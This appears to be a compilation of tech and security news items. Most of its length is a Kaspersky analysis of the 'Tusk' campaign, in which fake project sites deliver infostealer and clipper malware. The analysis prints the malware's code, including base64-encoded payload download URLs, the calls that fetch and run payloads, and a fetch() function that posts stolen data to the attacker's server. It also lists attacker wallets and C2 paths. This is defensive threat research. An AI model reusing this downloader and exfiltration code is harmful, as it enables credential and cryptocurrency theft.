Larsen ha osservato che molti “paste” (si chiamano le pubblicazioni su Doxbin) contengono messaggi che incoraggiano la vittima a suicidarsi o incitano la comunità dei doxer ad infliggere ulteriori danni. Questi post non vengono moderati dagli amministratori del sito.

Il ricercatore ha anche scoperto che i servizi che creano danni fisici stanno diventando sempre più diffusi tra i idoxer.

Al termine del suo discorso, Larson ha sottolineato che è necessario modificare le leggi per proteggere le vittime delle piattaforme di doxing e influenzare efficacemente i criminali coinvolti in tali programmi. Ha inoltre formulato raccomandazioni per proteggersi dal doxing, compreso l’utilizzo di indirizzi e-mail e password univoci per tutti gli account, l’utilizzo di una VPN e il divieto di pubblicare online il nome completo o le foto di amici e familiari.

L'articolo Terrore su Ordinazione. Il Doxing: tra violenza fisica e guadagni a sei zeri proviene da il blog della sicurezza informatica.

Samsung sta lanciando un nuovo programma bug bounty per i suoi dispositivi mobili. La ricompensa per la scoperta di vulnerabilità critiche può raggiungere 1.000.000 di dollari.

Il nuovo programma si chiama Important Scenario Vulnerability Program (ISVP) e prende di mira le vulnerabilità associate all’esecuzione di codice arbitrario, allo sblocco del dispositivo, al furto di dati, all’installazione arbitraria di applicazioni e all’elusione della sicurezza del dispositivo.

I premi più alti vengono offerti ai ricercatori che troveranno i seguenti bug:

• Knox Vault è l’ambiente isolato e sicuro di Samsung per l’archiviazione di informazioni biometriche sensibili e chiavi crittografiche sui dispositivi mobili. L’azienda è disposta a pagare 300.000 dollari per un exploit funzionante per l’esecuzione locale di codice arbitrario sui dispositivi Samsung e fino a 1.000.000 di dollari per l’esecuzione remota di codice arbitrario.
• TEEGRIS OS è il sistema operativo Trusted Execution Environment (TEE) di Samsung, che fornisce un ambiente sicuro e isolato per l’esecuzione di codice critico e l’elaborazione di dati critici, inclusi pagamenti e autenticazione. La ricompensa per l’esecuzione locale di codice arbitrario nel sistema operativo TEEGRIS è di 200.000 dollari, mentre per l’esecuzione remota di codice arbitrario arriva fino a 400.000.
• Rich OS è il sistema operativo principale sui dispositivi Samsung. Gli esperti possono guadagnare 150.000 dollari per l’esecuzione di codice locale e fino a 300.000 dollari per RCE.

Per lo sblocco del dispositivo in combinazione con l’estrazione completa dei dati dell’utente, viene offerta una ricompensa di $ 400.000 (o la metà se le condizioni vengono soddisfatte dopo il primo sblocco del dispositivo).

Un’altra grossa ricompensa ammonta a 100.000 dollari per l’installazione remota di un’applicazione arbitraria da un negozio di applicazioni non ufficiale o dal server di un utente malintenzionato. Se l’applicazione è stata installata dal Galaxy Store, la ricompensa sarà di 60.000 dollari.

Per qualificarsi per i premi, i ricercatori devono accompagnare i loro rapporti con exploit funzionanti, che devono funzionare senza privilegi aggiuntivi sui dispositivi di punta dell’azienda (come Galaxy S e Z) con tutti gli aggiornamenti installati.

Per ottenere la massima ricompensa, l’exploit deve essere stabile e zero-click, ovvero non deve richiedere l’interazione dell’utente.

L'articolo Fino ad un Milione di Dollari in ricompense! Il nuovo Bug Bounty di Samsung proviene da il blog della sicurezza informatica.

La Beta RR è una moto da enduro di alta gamma, conosciuta per le sue prestazioni eccezionali e la versatilità su diversi tipi di terreni. Prodotta dalla storica azienda italiana Beta, la RR è disponibile in diverse cilindrate, da 125cc a 500cc, offrendo una vasta gamma di opzioni per piloti di tutti i livelli.

Questa moto è dotata di un motore a due tempi o quattro tempi, a seconda del modello, che garantisce potenza e reattività in ogni situazione. La sospensione di alta qualità, sviluppata in collaborazione con Kayaba, offre una guida fluida e precisa, mentre il telaio leggero e resistente assicura maneggevolezza e stabilità, anche nelle condizioni più difficili.

La Beta RR è apprezzata non solo per la sua affidabilità e durata, ma anche per l’attenzione ai dettagli e l’elevato livello di personalizzazione possibile. I piloti possono scegliere tra diverse configurazioni e accessori, rendendo la moto perfettamente adatta alle loro esigenze specifiche.

In a recent video, [Joel] of 3D Printing Nerd interviews a researcher at University of California, Berkeley about their work with glass 3D printing technology. A resin is impregnated with tiny glass nanoparticles and produces green parts. An oven burns away the resin and then another heating step produces the actual silica glass part. You can see a video about the process below.

As you might expect with glass, the temperatures are toasty. The first burn is at 1100 C and the fusing burn is at 1300 C. The nanoparticles are about 40 nanometers across. The resulting parts are tiny with very small feature sizes. The technology to do this has been around for a few years, and the University continues researching this form of computed axial lithograph (CAL) 3D printing. These parts are so small that it uses an adaptation called microCAL that produces much smaller parts at high precision. However, the equipment available today won’t produce very large objects. The video talks about the uses for some of these small glass items.

We wonder how much the firings in the ovens change the tiny tolerances. They obviously work, so either they account for that or it doesn’t shrink much.

If you want your own 3D printed glass, a laser system might be more practical. If you just want transparent plastic, your FDM printer can do that. Really.

youtube.com/embed/pkBP_eO-Pug?…

When we think of fishing rods, the image brought to mind is one of a tweed-clad fisherman in his waders in a wild salmon stream, his line whipping about as it guides the fly over the surface of the water. Angling is a pursuit with a heritage, and having a lengthy rod seems an essential for its enjoyment. But perhaps your tackle needn’t be such an important factor, and in that spirit here’s [3dcreation] with a tiny but fully functional 3D printed fishing rod.

If you’ve ever seen a fisherman working through a hole in the ice, you may have some idea of the type of rod in question, it’s a stubby affair half handle and half rod, with a rudimentary reel in the middle. In the pictures it’s loaded up with line, weight ready to go, so we can see how it’s supposed to work. We’re not anglers here though, so the question of whether it would indeed work is one for your imagination.

Perhaps surprisingly, few anglers find their way onto these pages. One of the few that has, used a drone.

In the past few years, the price-per-watt for solar panels has dropped dramatically. This has led to a number of downstream effects beyond simple cost savings. For example, many commercial solar farms have found that it’s now cheaper to install a larger number of panels in fixed positions, rather than accepting the extra cost, maintenance, and complexity of a smaller number panels that use solar tracking to make up the difference. But although this practice is fading for large-scale power production, there are still some niche uses for solar tracking. Like [Fabian], if you need to maximize power production with a certain area or a small number of panels you’ll wan to to build a solar tracker.

[Fabian]’s system is based on a linear actuator which can tilt one to four panels (depending on size) in one axis only. This system is an elevation tracker, which is the orientation generally with respect to latitude, with a larger elevation angle needed in the winter and a lower angle in the summer. [Fabian] also designs these to be used in places like balconies where this axis can be more easily adjusted. The actuator is controlled with an ESP32 which, when paired with a GPS receiver, can automatically determine the sun’s position for a given time of day and adjust the orientation of the panel to provide an ideal elevation angle on a second-by-second basis. The ESP32 also allows seamless integration with home automation systems like SmartHome as well.

Although this system only tracks the sun in one axis right now, [Fabian] is working on support for a second axis which mounts the entire array on a rotating table similar to an automatic Lazy Susan. This version also includes a solar tracking sensor which measures solar irradiance in the direction the panel faces to verify that the orientation of the panel is maximizing power output for a given amount of sunlight. Tracking the sun in two axes can be a complicated problem to solve, but some solutions we’ve seen don’t involve any GPS, programming, or even control electronics at all.

youtube.com/embed/IW9lrbsAwa0?…

Canadian consumer goods testing site RTINGS has been subjecting 100 TVs to an accelerated TV longevity test, subjecting them so far to over 10,000 hours of on-time, equaling about six years of regular use in a US household. This test has shown a range of interesting issues and defects already, including for the OLED-based TVs. But the most recent issue which they covered is that of uniformity issues with edge-lit TVs. This translates to uneven backlighting including striping and very bright spots, which teardowns revealed to be due to warped reflector sheets, cracked light guides, and burned-out LEDs.

Excluding the 18 OLED TVs, which are now badly burnt in, over a quarter of the remaining TVs in the test suffer from uniformity issues. But things get interesting when contrasting between full-array local dimming (FALD), direct-lit (DL) and edge-lit (EL) LCD TVs. Of the EL types, 7 out of 11 (64%) have uniformity issues, with one having outright failed and others in the process of doing so. Among the FALD and DL types the issue rate here is 14 out of 71 (20%), which is still not ideal after a simulated 6 years of use but far less dramatic.
Cracks in the Samsung AU8000’s Light Guide Plate (Credit: RTINGS)
As part of the RTINGS longevity test, failures and issues are investigated and a teardown for analysis, and fixing, is performed when necessary. For these uniformity issues, the EL LCD teardowns revealed burned-out LEDs in the EL LED strips, with cracks in the light-guide plate (LGP) that distributes the light, as well as warped reflector sheets. The LGPs are offset slightly with plastic standoffs to not touch the very hot LEDs, but these standoffs can melt, followed by the LGP touching the hot LEDs. With the damaged LGP, obviously the LCD backlighting will be horribly uneven.

In the LG QNED80 (2022) TV, its edge lighting LEDs were measured with a thermocouple to be running at a searing 123 °C at the maximum brightness setting. As especially HDR (high-dynamic range) content requires high brightness levels, this would thus be a more common scenario in EL TVs than one might think. As for why EL LCDs still exist since they seem to require extreme heatsinking to keep the LEDs from melting straight through the LCD? RTINGS figures it’s because EL allows for LCD TVs to be thinner, allowing them to compete with OLEDs while selling at a premium compared to even FALD LCDs.

youtube.com/embed/wiO4b37RsIk?…

Summary

Kaspersky Global Emergency Response Team (GERT) has identified a complex campaign, consisting of multiple sub-campaigns orchestrated by Russian-speaking cybercriminals. The sub-campaigns imitate legitimate projects, slightly modifying names and branding and using multiple social media accounts to increase their credibility. In our analysis we observed that all the active sub-campaigns host the initial downloader on Dropbox. This downloader is responsible for delivering additional malware samples to the victim’s machine, which are mostly infostealers (Danabot and StealC) and clippers. Besides this, the actors use phishing to trick users into providing additional sensitive information, such as credentials, which can then be sold on the dark web or used to gain unauthorized access to their gaming accounts and cryptocurrency wallets and drain their funds directly.

We identified three active sub-campaigns (at the time of analysis) and 16 inactive sub-campaigns related to this activity. We dubbed it “Tusk”, as the threat actor uses the word “Mammoth” in log messages of initial downloaders — at least in the three active sub-campaigns we analyzed. “Mammoth” is slang used by Russian-speaking threat actors to refer to victims. Mammoths used to be hunted by ancient people and their tusks were harvested and sold.

Analysis of the inactive sub-campaigns suggests that these are either old campaigns or campaigns that haven’t started yet. In this post, we analyze three most recently active sub-campaigns. Here is the timeline for the sub-campaigns in question:

Campaign timeline

First sub-campaign (TidyMe)

In this campaign the actor simulated peerme.io, a platform for the creation and management of decentralized autonomous organizations (DAOs) on the MultiversX blockchain. It aims to empower crypto communities and projects by providing tools for governance, funding, and collaboration within a decentralized framework. The malicious website is tidyme[.]io.

First sub-campaign: malicious and original sites

As you can see in the image above, the malicious website contains a “Download” button instead of the “Create your Team now” button on the legitimate website. Clicking this button sends a request to the webserver with User-Agent as an argument. The webserver uses this data to determine which version of the malicious file to send to the victim. The details are shown in the diagram below:

Malicious webserver routine to download the appropriate malware version depending on the user’s operating system

This campaign has several malware samples for macOS and Windows, both hosted on Dropbox. In this post we will explore Windows samples only.

In addition to distributing malware, this campaign involves victims connecting their cryptocurrency wallets directly through the campaign’s website. To investigate further, we created a test wallet with a small balance and linked it to the site. However, no withdrawal transactions were initiated in the course of this study. The purpose of this action was to expose the threat actor’s cryptocurrency wallet address for subsequent blockchain analysis.

During our investigation, the threat actors transitioned their infrastructure to the domains tidymeapp[.]io and tidyme[.]app. The domain tidymeapp[.]io now hosts an updated version of the initial downloader, incorporating additional anti-analysis techniques. Despite these changes, its primary objective remains the same: to download and execute subsequent stages. Analysis of these new samples is still underway, nevertheless their IoCs are included in the IoCs section in this report. Details of the analysis for the previous samples from tidyme[.]io are provided below.

Initial downloader (TidyMe.exe)

This sample is an Electron application. After its execution, a CAPTCHA form is displayed and the victim must enter the code to proceed. No malicious activities will be carried out until the victim passes the CAPTCHA check, suggesting that the threat actors added it to prevent execution using automatic dynamic analysis tools (e.g. sandboxes).

CAPTCHA form

It’s worth mentioning that the CAPTCHA is handled internally in the JavaScript file captcha.js as opposed to being handled by a third party, which suggests the attackers’ intent of making sure the victim executes the sample.

After the user passes the CAPTCHA check, the sample launches the main application interface which resembles a profile page. But even if the user enters some information here, nothing will happen. At the same time, the sample begins downloading the two additional malicious files in the background, which are then executed.

Main interface for TidyMe.exe

Downloader routine

The tidyme.exe sample contains a configuration file called config.json which contains base64-encoded URLs and a password for archived data decompression, which is used to download the second-stage payloads. Here is the content of the file:
{
"archive": "aHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2NsL2ZpL2N3NmpzYnA5ODF4eTg4dHprM29ibS91cGRhdGVsb2FkLnJhcj9ybGtleT04N2c5NjllbTU5OXZub3NsY2dseW85N2ZhJnN0PTFwN2RvcHNsJmRsPTE=",
"password": "newfile2024",
"bytes": "aHR0cDovL3Rlc3Rsb2FkLnB5dGhvbmFueXdoZXJlLmNvbS9nZXRieXRlcy9m"
}
The table below lists the decoded URLs:

The main downloader functionality is stored in preload.js file in two functions,
downloadAndExtractArchive and loadFile. The function downloadAndExtractArchive retrieves the field archive from the configuration file, which is an encoded Dropbox link, decodes it and stores the file from Dropbox to the path %TEMP%/archive-<RANDOM_STRING>. The downloaded file is a password-protected RAR file which will be extracted with the value of the field password in the configuration file, then all .exe files from this archive are executed.
The
loadFile function retrieves the field bytes from the configuration file, decodes it using base64, and sends a GET request to the resulting URL. The response contains a byte array which will be converted to bytes and written to the path %TEMP%/<MD5_HASH_OF_CURRENT_TIME>.exe. Following a successful download, this function decodes the file, appends 750000000 bytes to its end and then executes it.
These two functions, in addition to other functions, are exported, which allows the rendering processes to call them in the file named script.js with some delay after the user passes the CAPTCHA check. Here is the code responsible for calling these functions:
setTimeout(() => {
window.api.downloadAndExtractArchive()
}, 10000)

setTimeout(() => {
window.api.loadFile()
}, 100000)
...
In addition to the two functions above, the sample contains a function called
sendRequest. This function is responsible for sending log messages to the threat actor’s C2 server using HTTP POST messages to the URL hxxps[:]//tidyme[.]io/api.php. Below is the function’s code:async function sendRequest(data) {
const formData = new URLSearchParams();
Object.entries(data).forEach(([key, value]) => {
formData.append(key, value);
});

const response = await fetch('https://tydime.io/api.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: formData,
});
return response.json();
}
Here is an example of the data which was passed to the
sendRequest function as arguments:const { v4: uuidv4 } = require('uuid');
const randomUUID = uuidv4();

let data = {
key: "aac1ff44",
type: "customlog",
code: randomUUID,
message: "Нет действия..."
};
The messages sent to the C2 server are in Russian; the table below shows the messages along with the English translation:

The following diagram shows the download routine for this sample:

Initial downloader routine – TidyMe.exe

In this campaign, both updateload.exe and bytes.exe are the same file with the following hashes:

• MD5: B42F971AC5AAA48CC2DA13B55436C277
• SHA1: 5BF729C6A67603E8340F31BAC2083F2A4359C24B
• SHA256: C990A578A32D545645B51C2D527D7A189A7E09FF7DC02CEFC079225900F296AC

Payload (updateload.exe and bytes.exe)

This sample utilizes HijackLoader, a modular loader with different capabilities such as UAC bypass, various process injection techniques, and inline API hooking evasion. After updateload.exe (or bytes.exe) is dropped and executed, it starts a series of process injections starting with injecting shellcode into cmd.exe, then deletes itself, after which the malicious code injected into cmd.exe injects another shellcode into explorer.exe. Both shellcodes are the 32-bit version. As a result of the injection chain, the final stage is executed in the context of the explorer.exe process, which is a variant of the infostealer malware family StealC. The final payload starts communicating with the threat actor’s C2 server, downloading additional legitimate DLLs to be used during the collection and sending of information about the infected system, including the following:

• HWID (unique ID for the infected system calculated by the malware from C drive serial number);
• Build Number (meowsterioland4);

• Network Info
  
  • IP;
  • Country;

  
  

• System Summary
  
  • Hardware ID from the operating system;
  • OS;
  • Architecture;
  • Username;
  • Local time;
  • Installed apps;
  • All users;
  • Current user;
  • Process list;

  
  

• Screenshot.

Then it will start requesting configurations from the C2 server, which is a public IP, for the data to be collected. The following table lists the configurations along with their description:

The diagram below illustrates the execution steps for this sample:

First sub-campaign – updateload.exe

Identifying additional sub-campaigns

Having completed our analysis of the first sub-campaign, we conducted cyberthreat intelligence (CTI) and OSINT activities aiming to collect as much information as possible related to the threat actor and this specific campaign. Looking at the DNS records for the first campaign (TidyMe), we identified MX records with the value _dc-mx.bf442731a463[.]tidyme[.]io. Resolving this domain to an A record returns the IP 79.133.180[.]213. Utilizing Kaspersky Threat Intelligence Portal (TIP), we were able to identify all historical and present domains associated with this IP. Below is a list of all the domains:

From the domains above, only the first three were active during our analysis. We already explored tidyme[.]io, so we’ll discuss the other two active sub-campaigns next.

In addition to the link between the domains and the IP, all three active campaigns imitate legitimate projects and contain a download link to an initial downloader malware. The diagram below shows the correlation between the different campaigns:

Sub-campaigns correlation

Second sub-campaign (RuneOnlineWorld)

In this campaign, the threat actor was simulating the website of an MMO game. The original website domain is riseonlineworld.com, while the malicious website is runeonlineworld[.]io.

Second sub-campaign: malicious and original sites

The malicious website contains a download link for the initial downloader, imitating the game launcher. The downloader is hosted on Dropbox and it follows the same logic described in the TidyMe section (the first sub-campaign) to obtain the appropriate downloader for the victim’s operating system. The sample name is RuneOnlineWorld.exe.

Initial downloader (RuneOnlineWorld.exe)

This sample is also an Electron application with mostly the same structure and logic as the initial downloader in the first sub-campaign. There are different URLs in the configuration file, but otherwise most of the changes involve the main interface of the application: it resembles a login page rather than a profile page. Moreover, the login page does actually process the entered data.

First, the password is checked for complexity. If the check is passed, the username and password are sent to the C2. Then a loading page is displayed which is essentially a mockup to give the background tasks enough time to download the additional malicious files. The following diagram shows the steps taken by the downloader:

Initial downloader routine – RuneOnlineWorld.exe

First payload (updateload.exe)

In the RuneOnlineWorld campaign the two payloads are no longer the same file. Updateload.exe utilizes HijackLoader and injects code to multiple legitimate programs to evade detection. It starts by injecting code into cmd.exe then to explorer.exe. After that, the malicious code injected into explorer.exe starts communicating with multiple C2 servers to download additional malicious DLL and MSI files and save them to the path C:\Users\<USERNAME>\Appdata\. After downloading the malicious files, explorer.exe executes the MSI files using msiexec.exe and the DLL files using rundll32.exe. The final stage for this sample is multiple infostealers from the malware families Danabot and StealC (injected into explorer.exe). The diagram below shows the execution routine for this sample:

Second sub-campaign – updateload.exe

Second payload (bytes.exe)

This sample also uses HijackLoader to evade detection, unpacks different stages of the payload and injects them into legitimate processes. First, it creates and injects malicious code into cmd.exe, which injects code into explorer.exe and then into OpenWith.exe — a legitimate Windows process. The malicious code injected into OpenWith.exe downloads the next stage from the threat actor’s C2 (another public IP), decodes it and injects it into another OpenWith.exe instance. In this stage, the payload downloads six files to the directory %APPDATA%\AD_Security\ and creates a scheduled task named FJ_load which will execute the file named madHcCtrl.exe at login for persistence. Here is a list of files downloaded by this stage:

All of these DLL and EXE files are legitimate, except madHcNet32.dll. The malicious files wickerwork.indd and bufotenine.yml contain encrypted data.

The following diagram shows the steps taken by this sample to extract the final payload:

Second sub-campaign – bytes.exe

madHcNet32.dll

madHcCtrl.exe loads and executes madHcNet32.dll, which, in turn, utilizes HijackLoader to extract and execute the final payload. After execution, madHcCtrl.exe injects the next stage to cmd.exe, then the final stage is injected to explorer.exe. The final payload is clipper malware written in GO. This sample is based on open-source clipper malware. The following diagram shows the execution steps for this sample:

Second sub-campaign – madHcNet32.dll

The clipper monitors the clipboard data. If a cryptocurrency wallet address is copied to the clipboard, it substitutes it with the following one:

• BTC: 1DSWHiAW1iSFYVb86WQQUPn57iQ6W1DjGo

In addition, the sample contains unique strings such as the ones below:

• C:/Users/Helheim/
• C:/Users/Helheim/Desktop/clipper no autorun/mainTIMER.go

While searching for samples that contain the same strings, we identified additional samples with different wallet addresses:

• ETH: 0xaf0362e215Ff4e004F30e785e822F7E20b99723A
• BTC: bc1qqkvgqtpwq6g59xgwr2sccvmudejfxwyl8g9xg0

We identified some transactions on the second and third wallet addresses. There were no transactions related to the first wallet address at the time of writing this post.

The second wallet was seen active from March 4 to July 31 and received a total of 9.137 ETH. The third one was active between April 2 and August 6 with 0.0209 BTC received in total. Note that these addresses were only observed in the clipper malware. This campaign also utilizes infostealers to steal software-based cryptocurrency wallets which could be used to gain access to the victim’s funds, although we have not seen such activity. In addition, the infostealers collect credentials from browsers and other sources which could allow the threat actor to gain access to other services used by the victim (e.g. online banking systems) or sell the stolen data on the dark web.

Third sub-campaign (Voico)

In this campaign, the threat actor was simulating an AI translator project named YOUS. The original website is yous.ai, while the malicious website is voico[.]io:

Third sub-campaign: malicious and original sites

Just like the previous two sub-campaigns, the malicious website contains a download link for the initial downloader imitating the application. The downloader is hosted on Dropbox and follows the same logic described in the first sub-campaign to download the appropriate downloader for the victim’s operating system. During our investigation, the malicious website of this campaign ceased to exist. The sample name is Voico.exe.

Initial downloader (Voico.exe)

This sample is also an Electron application with mostly the same structure as the initial downloaders in the previous two sub-campaigns. The downloader logic also remains the same. Most of the changes involve the main interface of the application, and different URLs are contained in the configuration file.

Voico.exe main interface

In addition to these changes, the sample prompts the victim to fill in a registration form, which doesn’t send the data to the C2. Instead, it passes the user’s credentials to the console.log() function:
// Теперь вы можете использовать эти значения для дальнейшей обработки или отправки на сервер
// <Translation>: Now you can use these values for further processing or sending to the server

console.log('Name:', name);
console.log('Username:', username);
console.log('Native Language:', nativeLanguage);
console.log('Voice:', voice);
console.log('Password:', password);
The following diagram shows the execution routine for this sample:

Voico.exe execution routine

Both samples in this campaign (updateload.exe and bytes.exe) have very similar behavior to the updateload.exe sample from the second sub-campaign.

Payload (updateload.exe and bytes.exe)

These samples have similar behavior as the updateload.exe sample from the second sub-campaign with one difference: the StealC malware downloaded by them communicates to a different C2 server. Other than that, the whole routine from the updateload.exe and bytes.exe execution to the final payload execution is the same. Here is a diagram of the execution routine for these samples:

Third sub-campaign – updateload.exe and bytes.exe

Possible other sub-campaigns

During the analysis of this campaign, the analyzed samples were hosted at the following paths on the attacker website: http[:]//testload.pythonanywhere.com/getbytes/f and http[:]//testload.pythonanywhere.com/getbytes/m. We didn’t find any other resources used in the current sub-campaigns (which doesn’t mean they won’t appear in the future). However, we noticed other samples hosted in different paths, unrelated to the ongoing sub-campaigns. The following is a list of paths on the PythonAnywhere website where these samples are hosted:

• http[:]//testload.pythonanywhere.com/getbytes/s
• http[:]//testload.pythonanywhere.com/getbytes/h

The hashes of the files in the new paths are already included in the IoCs list below.

Conclusion

The campaign uncovered in this report demonstrate the persistent and evolving threat posed by cybercriminals who are adept at mimicking legitimate projects to deceive victims. By exploiting the trust users place in well-known platforms, these attackers effectively deploy a range of malware designed to steal sensitive information, compromise systems, and ultimately achieve financial gain.

The reliance on social engineering techniques such as phishing, coupled with multistage malware delivery mechanisms, highlights the advanced capabilities of the threat actors involved. Their use of platforms like Dropbox to host initial downloaders, alongside the deployment of infostealer and clipper malware, points to a coordinated effort to evade detection and maximize the impact of their operations. The commonalities between different sub-campaigns and the shared infrastructure across them further suggests a well-organized operation, potentially tied to a single actor or group with specific financial motives. Our detailed analysis of the three active sub-campaigns, from the initial downloader routines to the final payloads, reveals a complex chain of attacks designed to penetrate both Windows and macOS environments.

In addition to the active sub-campaigns, the discovery of 16 inactive sub-campaigns highlights the dynamic and adaptable nature of the threat actor’s operations. These inactive sub-campaigns, which may represent either older campaigns that have been retired or new ones that have not yet been launched, illustrate the threat actor’s ability to rapidly create and deploy new malicious operations, targeting trending topics at the time of campaign. This rapid turnover suggests a well-resourced and agile adversary, capable of quickly shifting tactics and infrastructure to avoid detection and maintain the effectiveness of their campaigns. The presence of these dormant campaigns also indicates that the threat actor is likely to continue evolving their strategies, potentially reactivating these sub-campaigns or launching entirely new ones in the near future. This reinforces the need for continuous monitoring and proactive defense strategies to stay ahead of these evolving threats.

If your company has experienced a cybersecurity incident that requires an immediate response, contact Kaspersky Incident Response service.

Indicators of Compromise

URLs to third party services

Network IoCs

Host IoCs

Hashes for malicious files

Hashes for legitimate files used in the campaigns

Cryptocurrency wallet addresses

securelist.com/tusk-infosteale…